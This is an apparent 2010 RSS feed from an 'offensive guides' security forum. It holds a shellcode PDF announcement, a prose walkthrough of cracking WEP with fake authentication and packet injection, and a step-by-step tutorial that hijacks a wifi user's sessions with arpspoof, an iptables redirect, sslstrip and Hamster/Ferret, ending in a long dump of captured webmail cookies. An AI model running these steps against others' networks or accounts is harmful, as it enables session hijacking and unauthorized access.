<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title><![CDATA[InterN0T - Underground Security Training - Offensive Guides & Information]]></title>
		<link>http://forum.intern0t.net/</link>
		<description>This is where you can post your guides.</description>
		<language>en</language>
		<lastBuildDate>Tue, 07 Sep 2010 15:31:24 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>http://forum.intern0t.net/electric/misc/rss.jpg</url>
			<title><![CDATA[InterN0T - Underground Security Training - Offensive Guides & Information]]></title>
			<link>http://forum.intern0t.net/</link>
		</image>
		<item>
			<title>My First Shellcode - Part 2</title>
			<link>http://forum.intern0t.net/offensive-guides-information/3042-my-first-shellcode-part-2-a.html</link>
			<pubDate>Tue, 07 Sep 2010 13:17:44 GMT</pubDate>
			<description><![CDATA[After reading the introduction to shellcoding: http://forum.intern0t.net/offensive-guides-information/3013-my-first-shellcode-part-1-a.html 
 
You're...]]></description>
			<content:encoded><![CDATA[<div>After reading the introduction to shellcoding: <a href="!3013!http://forum.intern0t.net/offensive-guides-information/3013-my-first-shellcode-part-1-a.html" target="_blank">http://forum.intern0t.net/offensive-...-part-1-a.html</a><br />
<br />
You're ready to continue onto something a bit more advanced.<br />
<br />
I didn't intend to create a PDF but the content and information wasn't<br />
suitable for a mega thread here on InterN0T because the total size of<br />
the PDF is 30 pages, a bit too much for a forum thread in my opinion :wink:<br />
<br />
So take your time to enjoy and read the PDF :biggrin:<br />
<br />
Comments and feedback are of course more than welcome.<br />
<br />
<br />
<br />
The PDF is attached below.</div>


	<br />
	<div style="padding:6px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Attached Files</legend>
			<table cellpadding="0" cellspacing="3" border="0">
			<tr>
	<td><img class="inlineimg" src="http://forum.intern0t.net/electric/attach/pdf.gif" alt="File Type: pdf" width="16" height="16" border="0" style="vertical-align:baseline" /></td>
	<td><a href="http://forum.intern0t.net/attachments/offensive-guides-information/110d1283865195-my-first-shellcode-part-2-manual-shellcode.pdf">Manual Shellcode.pdf</a> (1.32 MB)</td>
</tr>
			</table>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="http://forum.intern0t.net/offensive-guides-information/"><![CDATA[Offensive Guides & Information]]></category>
			<dc:creator>MaXe</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/offensive-guides-information/3042-my-first-shellcode-part-2-a.html</guid>
		</item>
		<item>
			<title>WiFu series: Episode 2 cracking clientless networks</title>
			<link>http://forum.intern0t.net/offensive-guides-information/3033-wifu-series-episode-2-cracking-clientless-networks.html</link>
			<pubDate>Sat, 04 Sep 2010 16:39:04 GMT</pubDate>
			<description>Hi 
 
Version 2 of the second video is now ready for download, featuring new music 
and it quicker from start to finish but still containing the same...</description>
			<content:encoded><![CDATA[<div>Hi<br />
<br />
Version 2 of the second video is now ready for download, featuring new music<br />
and it quicker from start to finish but still containing the same information<br />
<br />
<a href="http://rapidshare.com/files/417266354/clientless_WEP_crack_v2.zip" target="_blank">http://rapidshare.com/files/41726635...P_crack_v2.zip</a><br />
<br />
Password = Intern0t<br />
<br />
The target network for this video was called linksys<br />
<br />
I chose something a little bit more upbeat in music this time, hope you like :D<br />
<br />
I was using the new BT4 R1 release this time with the Alfa AWUS036H usb card<br />
<br />
There is a slight issue with drivers, so at the beginning I manually used the old drivers<br />
from BackTrack 3<br />
<br />
Note this was booting off of the live CD this time, so you should be able to replicate all<br />
of this as it is obviously changing mac addresses etc<br />
<br />
Here is how I did it<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"><font size="2">Unloaded the new driver for the RTL8187, and loaded the BT3 r8187 driver<br />
<br />
Started monitor mode (notice the interface on monitor mode didn't change)</font> <font size="2"><br />
<br />
Looked on channel 6 for the target networks mac address</font> <font size="2"><br />
<br />
Started screen so I could use multiple sessions</font> <font size="2"><br />
<br />
Started airodump-ng on channel 6 to write to the file linksys using the interface wlan0</font> <font size="2"><br />
<br />
Next, I fake authenticated with the network using the access points BSSID (mac address)</font> <font size="2"><br />
and the ESSID (broadcast SSID)<br />
<br />
Then I attempted to perform a fragmentation attack, and waited for a few minutes for the</font> <font size="2"><br />
Access Point to send out a broadcast packet so I could obtain a PRGA file and I would be<br />
able to create my own packets for later injection<br />
<br />
Once captured, I was able to create a new arp packet in packetforge, which would</font> <font size="2"><br />
hopefully generate for IVs and enable me to obtain the encryption key for the network<br />
<br />
I then injected my newly created ARP packet into the network and the Access Point</font> <font size="2"><br />
started to create new IVs as planned, then I attempted to crack the WEP encryption key</font> <font size="2"><br />
and obtain access to the network</font><br />
<br />
<font size="5"><font color="red">GAME OVER</font></font></code><hr />
</div>Hope you all enjoy the video<br />
<br />
Until next time<br />
Good luck :D<br />
<br />
:: EDIT ::<br />
<br />
Episode 1 <a href="!3006!http://forum.intern0t.net/offensive-guides-information/3006-cracking-wpa-wpa2.html#post14135" target="_blank">here</a></div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/offensive-guides-information/"><![CDATA[Offensive Guides & Information]]></category>
			<dc:creator>TheXero</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/offensive-guides-information/3033-wifu-series-episode-2-cracking-clientless-networks.html</guid>
		</item>
		<item>
			<title>Guide Sidejacking with SSL Stripping</title>
			<link>http://forum.intern0t.net/offensive-guides-information/3023-sidejacking-ssl-stripping.html</link>
			<pubDate>Thu, 02 Sep 2010 08:42:40 GMT</pubDate>
			<description>Sidejacking with Hamster/Ferret with SSL Strip 
  
 
 Tools used within this tutorial. 
  
 
 arpspoof 
 sslstrip 
 Hamster/Ferret 
 AWUS 036H...</description>
			<content:encoded><![CDATA[<div>Sidejacking with Hamster/Ferret with SSL Strip<br />
 <br />
<br />
 Tools used within this tutorial.<br />
 <br />
<br />
 arpspoof<br />
 sslstrip<br />
 Hamster/Ferret<br />
 AWUS 036H wireless card<br />
 <br />
<br />
 Scenario:  Using Hamster/Ferret to session sidejacking a target at your local free wifi spot.<br />
 <br />
<br />
 Prerequisites:  Connect to the AP of your choice, and do a ping sweep to determine who is on that network.<br />
 <br />
<br />
 <b>For simplicity I am using my own network this time, however I am going under the wireless interface of wlan0 on my host box.  I am connected to my AP on my host machine, and that wireless adapter is bridged to my virtual machine.</b><br />
 <br />
<br />
 root@bt:~# nmap -sP 192.168.1.1-255<br />
 <br />
<br />
 Starting Nmap 5.00 ( <a href="http://nmap.org" target="_blank">Nmap - Free Security Scanner For Network Exploration &amp; Security Audits.</a> ) at 2010-09-01 23:39 CDT<br />
 Host DD-WRT (192.168.1.1) is up (0.010s latency).<br />
 MAC Address: 00:24:A5:AD:79:59 (Buffalo)<br />
 Host bt (192.168.1.140) is up.<br />
 Host Wizardsfire (192.168.1.120) is up (0.0017s latency).<br />
 MAC Address: 00:C0:CA:33:7F:72 (ALFA)<br />
 Nmap done: 255 IP addresses (3 hosts up) scanned in 4.20 seconds<br />
 <br />
<br />
 so now lets analyze a list of potential targets<br />
 <br />
<br />
 192168.1.1 (DD-WRT) this is a router<br />
 192.168.1.140 (BT) This is the attacking computer<br />
 192.168.1.120 (WizardsFire) this would be the victim<br />
 <br />
<br />
 So now that we know were going to attack 192168.1.120 we need to use arpspoof.<br />
 <br />
<br />
 BUT before that we need to enable ip forwarding<br />
 <br />
<br />
 <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> echo 1 &gt; /proc/sys/net/ipv4/ip_forward</code><hr />
</div> The #1 simply means your turning it on.<br />
 <br />
<br />
 Now for arpspoof<br />
 <br />
<br />
 root@bt:~# arpspoof -i eth0 -t 192.168.1.120 192.168.1.1<br />
 <br />
<br />
 If your successful you should see something similar below.  When you do minimize this window.<br />
 <br />
<br />
 <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">8:0:27:5:25:8d 0:0:0:0:0:0 0806 42: arp reply 192.168.1.1 is-at 8:0:27:5:25:8d<br />
&nbsp;8:0:27:5:25:8d 0:0:0:0:0:0 0806 42: arp reply 192.168.1.1 is-at 8:0:27:5:25:8d</code><hr />
</div><br />
 Now we need to configure our iptables to reroute the traffic from port 80 to sslstrip's default port of 10000.<br />
 <br />
<br />
 <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000</code><hr />
</div><br />
 Now we need to setup sslstrip  <br />
 <br />
<br />
 <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> sslstrip -p -k -f -w decryptedlogfile</code><hr />
</div><br />
 -p is logs only SSL posts (default option)<br />
 -k  kills sessions that are in progress (if any)<br />
 -f substitutes a lock favicon on secure requests<br />
 -w write the captured info to a filename of your choice.<br />
 <br />
<br />
 Now I don't know about you but sometimes I forget where things are..in this case it was hamster which is what we will be firing up in just a few moments.<br />
 <br />
<br />
 <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> locate hamster&nbsp; <br />
&nbsp;/opt/metasploit3/msf3/data/exploits/capture/http/forms/xhamster.com.txt<br />
&nbsp;/opt/metasploit3/msf3/data/exploits/capture/http/forms/.svn/text-base/xhamster.com.txt.svn-base<br />
&nbsp;/pentest/sniffers/hamster<br />
&nbsp;/pentest/sniffers/hamster/favicon.ico<br />
&nbsp;/pentest/sniffers/hamster/ferret<br />
&nbsp;/pentest/sniffers/hamster/hamster<br />
&nbsp;/pentest/sniffers/hamster/hamster.css<br />
&nbsp;/pentest/sniffers/hamster/hamster.js<br />
&nbsp;/var/lib/dpkg/info/hamster.changelog<br />
&nbsp;/var/lib/dpkg/info/hamster.copyright<br />
&nbsp;/var/lib/dpkg/info/hamster.list</code><hr />
</div><br />
 Based on the ^ we can see that what I want is in the /pentest/sniffers/hamster directory.<br />
 <br />
<br />
 So do the following  <br />
 <br />
<br />
 <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> cd /pentest/sniffers/hamster/</code><hr />
</div><br />
 Now do the following<br />
 <br />
<br />
 <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> root@bt:/pentest/sniffers/hamster# ./hamster</code><hr />
</div> If Sucessful you will see something similar<br />
 <br />
<br />
 <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">--- HAMPSTER 2.0 side-jacking tool ---<br />
&nbsp;begining thread<br />
&nbsp;Set browser to use proxy http://127.0.0.1:1234<br />
&nbsp;DEBUG: set_ports_option(1234)<br />
&nbsp;DEBUG: mg_open_listening_port(1234)<br />
&nbsp;Proxy: listening on 127.0.0.1:</code><hr />
</div><br />
 Now make sure you input the following for the http proxy portion of firefox (this step allows us to access hamster)<br />
 <br />
<br />
 Click on Edit&gt;Options&gt;Advanced&gt;Network&gt; Connect Settings.<br />
 <br />
<br />
 Then enter under http proxy the following 127.0.0.1 and the port is 1234  <br />
 <br />
<br />
 NOTE: make sure to also tick the manual proxy configuration bubble.<br />
 <br />
<br />
 Now enter 127.0.0.1:1234 into your URL bar<br />
 <br />
<br />
 Your now looking at the hamster interface.<br />
 <br />
<br />
 Click on adapters and in this case I'm going to select eth0 as that's what I'm using.<br />
 <br />
<br />
 Now if your successful you will start to see the packets go up.<br />
 <br />
<br />
 Now on the victims machine I'm going to log into my email account.<br />
 <br />
<br />
 Victim types in <a href="http://www.gmail.com/" target="_blank">www.mail..com</a> and enters his/her credentials.<br />
 <br />
<br />
 Now you will notice on hamster you will see 192.168.1.120 pop up (victims ip)<br />
 <br />
<br />
 Click on that<br />
 <br />
<br />
 Now click on cookie info and you should see something similar<br />
 <br />
<br />
 <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> [us.mc451.mail.yahoo.com]<br />
&nbsp;<br />
<br />
&nbsp; &nbsp;  * /mc/welcome<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o B = eair0gp67un5r&amp;b=4&amp;d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&amp;s=ti&amp;i=epROpk0yjlKH5lYEXqfq<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&amp;v=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o AICookieTest = 245<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss-<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&amp;a=QAE&amp;sk=DAA6mv9yAM2u5c&amp;ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&amp;d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o PH = fn=F7.KSky_NtjqnNkM2JIG&amp;l=en-US<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o Y = v=1&amp;n=03pcanilpo8vp&amp;l=m8220dbeh3rssr/o&amp;p=m2o1th4013000000&amp;jb=27|47|&amp;r=cg&amp;lg=en-US&amp;intl=us&amp;np=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&amp;b=B7aH <br />
&nbsp; &nbsp;  * /mc/fc<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&amp;a=QAE&amp;sk=DAA6mv9yAM2u5c&amp;ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&amp;d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o PH = fn=F7.KSky_NtjqnNkM2JIG&amp;l=en-US<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o Y = v=1&amp;n=03pcanilpo8vp&amp;l=m8220dbeh3rssr/o&amp;p=m2o1th4013000000&amp;jb=27|47|&amp;r=cg&amp;lg=en-US&amp;intl=us&amp;np=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&amp;b=B7aH<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o B = eair0gp67un5r&amp;b=4&amp;d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&amp;s=ti&amp;i=epROpk0yjlKH5lYEXqfq<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&amp;v=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o AICookieTest = 245<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss-&nbsp; <br />
&nbsp; &nbsp;  * /mc/nc<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&amp;a=QAE&amp;sk=DAA6mv9yAM2u5c&amp;ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&amp;d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o PH = fn=F7.KSky_NtjqnNkM2JIG&amp;l=en-US<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o Y = v=1&amp;n=03pcanilpo8vp&amp;l=m8220dbeh3rssr/o&amp;p=m2o1th4013000000&amp;jb=27|47|&amp;r=cg&amp;lg=en-US&amp;intl=us&amp;np=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&amp;b=B7aH<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o B = eair0gp67un5r&amp;b=4&amp;d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&amp;s=ti&amp;i=epROpk0yjlKH5lYEXqfq<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&amp;v=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o AICookieTest = 245<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss-&nbsp; <br />
&nbsp; &nbsp;  * /mc/showMessage<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&amp;a=QAE&amp;sk=DAA6mv9yAM2u5c&amp;ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&amp;d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o PH = fn=F7.KSky_NtjqnNkM2JIG&amp;l=en-US<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o Y = v=1&amp;n=03pcanilpo8vp&amp;l=m8220dbeh3rssr/o&amp;p=m2o1th4013000000&amp;jb=27|47|&amp;r=cg&amp;lg=en-US&amp;intl=us&amp;np=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&amp;b=B7aH<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o B = eair0gp67un5r&amp;b=4&amp;d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&amp;s=ti&amp;i=epROpk0yjlKH5lYEXqfq<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o AICookieTest = 245<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss-&nbsp; <br />
&nbsp; &nbsp;  * /galaxy/friends.php<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o B = eair0gp67un5r&amp;b=4&amp;d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&amp;s=ti&amp;i=epROpk0yjlKH5lYEXqfq<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&amp;a=QAE&amp;sk=DAA6mv9yAM2u5c&amp;ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&amp;d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o PH = fn=F7.KSky_NtjqnNkM2JIG&amp;l=en-US<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o Y = v=1&amp;n=03pcanilpo8vp&amp;l=m8220dbeh3rssr/o&amp;p=m2o1th4013000000&amp;jb=27|47|&amp;r=cg&amp;lg=en-US&amp;intl=us&amp;np=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&amp;b=B7aH <br />
&nbsp; &nbsp;  * /mc/showFolder<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&amp;v=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&amp;a=QAE&amp;sk=DAA6mv9yAM2u5c&amp;ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&amp;d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o PH = fn=F7.KSky_NtjqnNkM2JIG&amp;l=en-US<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o Y = v=1&amp;n=03pcanilpo8vp&amp;l=m8220dbeh3rssr/o&amp;p=m2o1th4013000000&amp;jb=27|47|&amp;r=cg&amp;lg=en-US&amp;intl=us&amp;np=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&amp;b=B7aH<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o B = eair0gp67un5r&amp;b=4&amp;d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&amp;s=ti&amp;i=epROpk0yjlKH5lYEXqfq<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o AICookieTest = 245<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss-&nbsp; <br />
&nbsp; &nbsp;  * /mc/compose<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&amp;v=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&amp;a=QAE&amp;sk=DAA6mv9yAM2u5c&amp;ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&amp;d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o PH = fn=F7.KSky_NtjqnNkM2JIG&amp;l=en-US<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o Y = v=1&amp;n=03pcanilpo8vp&amp;l=m8220dbeh3rssr/o&amp;p=m2o1th4013000000&amp;jb=27|47|&amp;r=cg&amp;lg=en-US&amp;intl=us&amp;np=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&amp;b=B7aH<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o B = eair0gp67un5r&amp;b=4&amp;d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&amp;s=ti&amp;i=epROpk0yjlKH5lYEXqfq<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o AICookieTest = 245<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss-&nbsp; <br />
&nbsp; &nbsp;  * /mc/mail<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&amp;v=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&amp;a=QAE&amp;sk=DAA6mv9yAM2u5c&amp;ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&amp;d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o PH = fn=F7.KSky_NtjqnNkM2JIG&amp;l=en-US<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o Y = v=1&amp;n=03pcanilpo8vp&amp;l=m8220dbeh3rssr/o&amp;p=m2o1th4013000000&amp;jb=27|47|&amp;r=cg&amp;lg=en-US&amp;intl=us&amp;np=1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&amp;b=B7aH<br />
